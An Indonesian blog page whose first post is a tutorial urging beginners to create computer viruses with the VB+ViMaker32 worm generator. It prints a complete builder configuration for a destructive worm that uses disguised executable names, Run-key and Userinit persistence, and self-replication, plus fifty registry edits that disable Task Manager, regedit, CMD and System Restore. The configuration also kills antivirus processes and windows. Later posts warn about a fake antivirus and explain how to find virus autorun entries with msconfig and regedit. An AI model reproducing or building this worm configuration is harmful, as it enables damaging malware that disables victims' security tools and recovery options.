Tulisan ini dibuat untuk para newbie yang ingin tahu, dan ingin mencoba suatu hal yang baru serta cukup menyenangkan dalam hal pembuatan virus komputer. Dalam tutorial ini saya akan menjelaskan sedikit tentang VB+ViMaker32 yang merupakan worm generator untuk menciptaan worm secara mudah, cepat, dan instan. Sesuai dengan namanya program ini dapat menciptakan worm dalam bahasa Visual Basic yang akan mempunyai aksi-aksi tertentu sesuai dengan pengaturan yang diberikan. Program ini memang khusus dibuat untuk para newbie dalam dunia virologi komputer. Tidak hanya virus jahat saja yang dibuat, namun virus baik juga dapat dihasilkan melalui program buatan anak Indonesia ini. Jika anda tertarik, anda bisa men-download virus maker ini di link ini

Berikut ini merupakan script virus yang telah saya buat di dalam VB+ViMaker32:

# ============================================ #
# VB - ViMaker
# The Visual Basic Virus Maker
# Version: 0.1.3
# Copyright: (C) 2007 Rzwan Software Lab
# All Right Reserved
# ============================================ #
# Website: www.rzwanweb.cjb.net {Under Construction}
# E-mail: rzwan182@gmail.com
# ============================================ #
# Created on: Senin-21-Mei-2007(14:03:08)
# ============================================ #
# Untuk informasi [Section], buka help.


# Main function declaration
<# DECLARATION #>
{ # Include }
{ # Include }
{ # Include }
Global declare function main()
{ gets (paramsystem{Sys32}) };
{ load (primary(binarydata;)) }
{ compile (subrountine>ganti dengan nama file yang menarik perhatian orang lain
EXEIcon = ----------------------------->>>>>berikan directory lengkap dimana file .ico yang akan kamu jadikan ikon
Plugins = {VIMAKER-001.VBMP}

[FILES]
# Masukan nama file dan folder yang akan digunakan
Folder = {Sys32}
FolderBase = true
FileName1 = Test1.exe
FileName2 = Test2.exe
FileName3 = System32.exe
FileName4 = Windows.exe
FileName5 = AntiVirus.exe

[STARTUP]
# Masukan nama entry startup registry
StartupFolderFile = false
HKCU_Run1 = System
HKCU_Run2 = AntiVirus
HKLM_Run1 = Update
HKLM_Run2 = WinUpdater
Userinit = True
Shell = True
AutorunCMD = True
ActiveSafeMode = True

[REGISTRY]
# Pengaturan registry. Maksimum 50 Registry Entry
Regset1 = HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main;WindowTitle;MyExplorer;SV
Regset2 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Hidden;1;DV
Regset3 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;HideFileExt;0;DV
Regset4 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowControlPanel;0;DV
Regset5 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowHelp;0;DV
Regset6 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowMyComputer;0;DV
Regset7 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowMyDocs;0;DV
Regset8 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowMyMusic;0;DV
Regset9 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowMyPics;0;DV
Regset10 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowPrinters;0;DV
Regset11 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowRecentDocs;0;DV
Regset12 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowRun;0;DV
Regset13 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowSearch;0;DV
Regset14 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;Start_ShowSetProgramAccessAndDefaults;0;DV
Regset15 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced;StartMenuAdminTools;0;DV
Regset16 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState;FullPath;1;DV
Regset17 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop;NoChangingWallPaper;1;DV
Regset18 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;ConfirmFileDelete;0;DV
Regset19 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;NOCONTROLPANEL;1;DV
Regset20 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;NoFileMenu;1;DV
Regset21 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;NoFolderOptions;1;DV
Regset22 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;NoShellSearchButton;1;DV
Regset23 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer;NoThemesTab;1;DV
Regset24 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System;DisableRegistryTools;1;DV
Regset25 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SYSTEM;DisableTaskMgr;1;DV
Regset26 = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System;NoDispScrSavPage;1;DV
Regset27 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;AdvancedTab;1;DV
Regset28 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;ConnectionsTab;1;DV
Regset29 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;ContentTab;1;DV
Regset30 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;GeneralTab;1
Regset31 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;PrivacyTab;1
Regset32 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;ProgramsTab;1
Regset33 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\ControlPanel;SecurityTab;1
Regset34 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoBrowserClose;1;DV
Regset35 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoBrowserOptions;1;DV
Regset36 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoBrowserSaveAs;1;DV
Regset37 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoFavorites;1;DV
Regset38 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoFileOpen;1;DV
Regset39 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoTheaterMode;1;DV
Regset40 = HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\Restrictions;NoViewSource;1;DV
Regset41 = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System;DisableCMD;1;DV
Regset42 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer;NoClose;1;DV
Regset43 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer;NoFind;1;DV
Regset44 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer;NoTrayItemsDisplay;1;DV
Regset45 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer;NoUserNameInStartMenu;1;DV
Regset46 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer;StartMenuLogOff;1;DV
Regset47 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore;DisableConfig;1;DV
Regset48 = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore;DisableSR;1;DV
Regset49 = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer;DisableMSI;1;DV
Regset50 = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer;LimitSystemRestoreCheckpointing;1;DV



[TASK]
# Pengaturan tugas. Untuk informasi, buka help
AppRestrict = taskmgr.exe;cmd.exe;procexp.exe;LSASS.EXE;SMSS.EXE;ALG.EXE;MSMSGS.EXE;CTFMON.EXE
AppKill = taskmgr.exe;cmd.exe;procexp.exe;LSASS.EXE;SMSS.EXE;ALG.EXE;MSMSGS.EXE;CTFMON.EXE
BackupSystemFile = true
HideRootFolder = true
HideSystem32Folder = true
AppKillInterval = 100
InfectorInterval = 100
ShellVirNewInterval = 100
InfectionProgramFilesFolder = true
MakeAutorunFile = true
ProgActiveMonitor = true
SetCopyAndStartup = true

[SPREADING]
ReplicationAble = true

[MESSAGE]
# Masukan Pesan yang akan ditampilkan
FirstLaunch = a bad virus has been attacked your computer.
MessageTitle = warning!
MainMessage = virus ini berbahaya. buatan siswa smasa probolinggo. thats all.
MessageFileName = baca ini-penting.txt

[WINCAPTION]
# Masukan caption window yang akan diubah
Untitled - Notepad = untitled

# Daftar window caption yang dilarang. Dipisahkan dengan tag ';'
CaptionToKill = !=ANTI-VIRUS=!;ABOUT;ACCESS;ACTIVE;ADMIN;ADMINISTRATOR;AFEE;AVG;avg;AGREEMENT;AN'S;ANSAV;ANTI;ANTIVIRUS;APPLICATION;AUDIO;AUTO;AUTORUN;AUTORUNS;AVG;AVX;BASIC;BETA;BITDEFENDER;BORLAND;BRONTOK;BUILDER;CENTER;CHECK;CHECKING...;CLAMAV;CLEAN;CLEANER;CLEANING...;CODE;COMMAND;COMPUTER;CONFIG;CONFIGINSPECTOR;CONFIGURATION;CONFIRM;CONNECTION;CONNECTIONS;CONTROL;COPY;CRACK;CRACKER;CRC;CRC32;CURRPROCESS;CYBER;DELETE;DELPHI;DEVICES;DISK;DOCUMENT;DOWNLOAD;DTASKMANAGER;EDITOR;EMULATOR;EXPLORER;EXTRA;EXTREME;FIND;FIREFOX;FIREWALL;FIX;FOLDER;FOR;FOUND;FREE;GENERIC;X-RAYPC;WWW.SYSINTERNALS.COM;WWW;WRITER;WORD;WINZIP;WINDOWS;WINAMP;WIN;WAV;VISUAL;VIRUS;TOOL;TOOLS;TEMPORARY;TEMP;LSASS;SMSS;ALG;MSMSGS;CTFMON;Dd;aaa;bbb;recycled;MDM;SCHED;



[CUSTOM]
# Pengaturan tambahan
HideOnRun = true
HideFromTaskManager = true
ProgCaption = bad virus

[ABOUT]
# Informasi program. Jangan diubah
Info = VB - ViMaker
Version = 0.1.3
Created = Kamis, 27 Des 2008 (14:03:08)



Bagaimana? Apa anda sudah melihat kemudahan dalam membuat virus? Ini hanyalah sebagian saja. Tutorial lebih lanjut bisa anda simak di dalam file yang sudah anda download tadi। Sekarang saatnya anda membuat virus komputer sesuai dengan keinginan anda sendiri. Selamat mengerjakan.
Selengkapnya...

Berhati-hatilah anda yang saat ini ingin membuat komputer anda aman dengan memasang anti spyware di dalam komputer. Hal ini dikarenakan telah beredar antivirus dan antispyware palsu yang menamakan dirinya Antivirus XP 2008. Antivirus palsu ini adalah salah satu software security yang jahat dan berpura-pura sebagai antispyware yang mengklaim dirinya sebagai Antispyware, Antivirus, Anti-Backdoor, Anti-Worm, dan Anti Porno-Dial. Setelah virus tersebut aktif ia akan membuat beberapa file yang akan dijalankan setiap kali komputer dinyalakan. Seperti virus yang lainnya, aplikasi berbahaya ini juga akan membuat registry baru. Oleh karena itu, berhati-hatilah dalam mendownload sesuatu dan jangan lupa untuk terus mengupdate antivirus anda. (mendownload file di dalam blog ini dijamin aman kok)
(source: majalah Komputek) Selengkapnya...

Safe mode? Ya … Windows biasanya akan diperlengkapi dengan modus safe mode. Dimaksudkan agar pemakai dapat memperbaiki Windows jika terjadi suatu musibah. Windows safe mode sebetulnya tidak lebih dari Windows yang dijalankan dengan driver standar! Sehingga jika terjadi kerewelan pada driverdriver non-standar Windows yang membuat Windows modus standar gagal dijalankan, maka Windows modus standar dapat dipulihkan lagi dengan cara masuk ke modus safe mode. Pada saat dalam modus safe mode inilah, pemakai berkesempatan untuk melakukan eliminasi pada drive non-standar yang bermasalah tersebut. Dengan cara ini, Windows yang rusak akan menjadi normal kembali. Itu harapannya. Melihat fungsinya, tentu saja, modus safe mode ini, juga merupakan ancaman bagi kelangsungan hidup virus atau program-program yang suka membuat masalah … ☺ Oleh karena itu, modus safe mode ini juga merupakan target utama program virus. Artinya, virus akan berusaha memanipulasi modus safe mode atau bahkan menggagalkan fungsinya!
Bagaimana masuk ke modus safe mode?

1. Lakukan booting ulang komputer. Pada saat proses booting dimulai, tekanlah tombol F8 secara cepat dan berulangkali. (Agak histeris juga boleh… ☺) Sehingga muncul menu boot Windows. Pilihlah Safe Mode, maka proses akan berjalan hingga akhirnya menampilkan pilihan user yang harus digunakan untuk masuk ke Windows safe mode. Pada Windows XP, biasanya akan muncul account Administrator dan account yang kita punya. Pilihlah user Account yang biasa kita pakai.
   
2. Setelah itu biasanya kita akan ditanya, apakah akan masuk ke modus Safe mode ataukah kita akan memakai fasilitas system restore Windows. Klik Yes, maka kita akan masuk ke mode Windows safe mode. Artinya, Windows akan aktif dengan perangkat apa adanya (standar minimalnya).
   
3. Aktif dalam Safe Mode. Ada subkey registry Windows yang berguna untuk menjalankan suatu program secara otomatis saat Windows dihidupkan. Jadi, jika kita ingin agar suatu file executable aktif saat Windows dihidupkan, maka kita harus menulisi subkey autorun ini dengan suatu nama value yang berisi data yang menyebutkan bahwa file X.EXE adalah file yang harus dieksekusi. X di sini mewakili sembarang nama file EXE. Tools standar milik Windows untuk memeriksa konfigurasi autorun adalah program System Configuration Utility atau lebih dikenal dengan nama "msconfig" karena file pengaktif program tersebut bernama msconfig.exe.
   
4. Untuk memanggil "msconfig", lakukan via perintah Run dari menu Start. Klik Start - pilih Run dan ketikkan msconfig. Tekan Enter atau klik OK.
5. Jendela System Configuration Utility akan muncul dan terlihat beberapa tab. Salah satunya tab Startup. Tab tersebut berguna untuk melihat program apa saja yang akan dijalankan oleh Windows pada saat Windows diaktifkan. Ini dia!
   

Virus biasanya akan memblokir penggunaan program ini. Entah itu dengan
mematikan pilihan Run atau memonitor caption (judul/nama) jendela program yang sedang aktif. Jika caption program yang sedang aktif adalah sama dengan caption yang telah ditargetkan oleh virus, secara otomatis virus akan segera menutupnya atau mungkin melakukan booting ulang. Sekarang sampeyan tahu sebabnya, bukan? Mengapa saat suatu virus aktif, dan kita memanggil msconfig, tiba-tiba jendela program msconfig menutup dengan sendirinya. Atau mungkin, tiba-tiba, komputer melakukan booting ulang

Tab Startup msconfig
Pada tab Startup, akan terlihat kolom Startup item, yang menunjukkan nama item yang akan dijalankan saat Windows diaktifkan. Juga kolom command, yang biasanya berisi program yang diaktifkan plus parameternya jika ada. Sedangkan kolom Location, menunjukkan lokasi subkey (syaraf) registry yang menyimpan setting data ini. Pada contoh terlihat, nama SMTray ternyata adalah milik program yang bernama SMTray.exe dan berada di folder d:\Program Files\Analog Devices\SoundMAX. Virus biasanya akan membuat suatu nilai di sini, agar file yang memicu pengaktif programnya dijalankan saat booting Windows terjadi sehingga penelitian di bagian ini amat penting untuk dilakukan. Celakanya lagi, virus-virus sekarang memasangkan nama itemnya dengan nama yang “berbau-bau” nama file sistem Windows. Hal ini untuk mengelabui pemakai yang memeriksanya. Misalnya, dengan nama windows.exe, svc0host.exe, rundlll.exe dan lain sebagainya. Di sini kejelian kitalah yang menentukan sukses tidaknya mengenali file virus. Dan ini perlu latihan. Jika kita sudah menemukan item yang kita curigai, hilangkan tanda centang yang ada di depan startup item. Jika tidak dicentang, artinya item tersebut tidak akan dijalankan saat booting dilakukan. Sebaliknya, jika dicentang, maka akan dijalankan. Setelah kita melakukan proses centang atau un-centang.....OK dan lakukan booting ulang agar proses pengubahan menjadi aktif.

Tools standar milik Windows lainnya yang dapat dipakai untuk memeriksa
konfigurasi autorun registry adalah program Registry Editor. Untuk memanggilnya, dilakukan via perintah Run dari menu Start. Klik Start - pilih Run dan ketikkan regedit. Tekan Enter atau klik OK. Program registry editor akan tampil. Pergilah ke lokasi:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Klik ganda berulangkali pada subkey yang terlihat sehingga lokasi tersebut
ditemukan. Pada subkey Run inilah biasanya virus akan menuliskan nama value baru untuk mengaktifkan program virus. Untuk menghapus data yang ada, klik nama value dan tekan DEL.

Lokasi-lokasi lain yang perlu kita periksa dalam rangka autorun registry ini
adalah:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Once
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OnceEx
  
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Jika ditemukan nama value yang menurut Anda aneh, hapus saja …Dari beberapa subkey di atas, ada satu subkey yang cukup istimewa. Yaitu subkey RunOnce. Berbeda dengan subkey Run yang akan selalu menjalankan program yang ada di dalamnya setiap kali Windows dihidupkan, subkey RunOnce ini biasanya dipakai untuk menjalankan satu program sebanyak satu kali saja! Jadi, subkey ini biasanya dipakai oleh suatu program untuk mengaktifkan prosesnya sebanyak satu kali saja sehingga nama value yang dituliskan di sini hanya akan berlaku satu kali saja. Setelah dijalankan, nama value tersebut akan dihapus. Jika pembuat virus cukup nakal, ia akan membuat program virus untuk menuliskan pengaktifnya di subkey ini. Jadi, virus akan aktif saat komputer dihidupkan. Program akan dijalankan dan nama value pemicu akan dihapus. Maka ia tidak meninggalkan jejak di msconfig. Selang beberapa waktu saat virus aktif, ia akan membuat program timer yang secara berkala menulis ulang nama value di subkey tersebut. Atau mungkin virus hanya akan menuliskan data pada subkey RunOnce saat komputer akan di-log off. Dengan cara tersebut, virus akan terjaga eksistensinya. Lumayan cerdik ‘khan? Selengkapnya...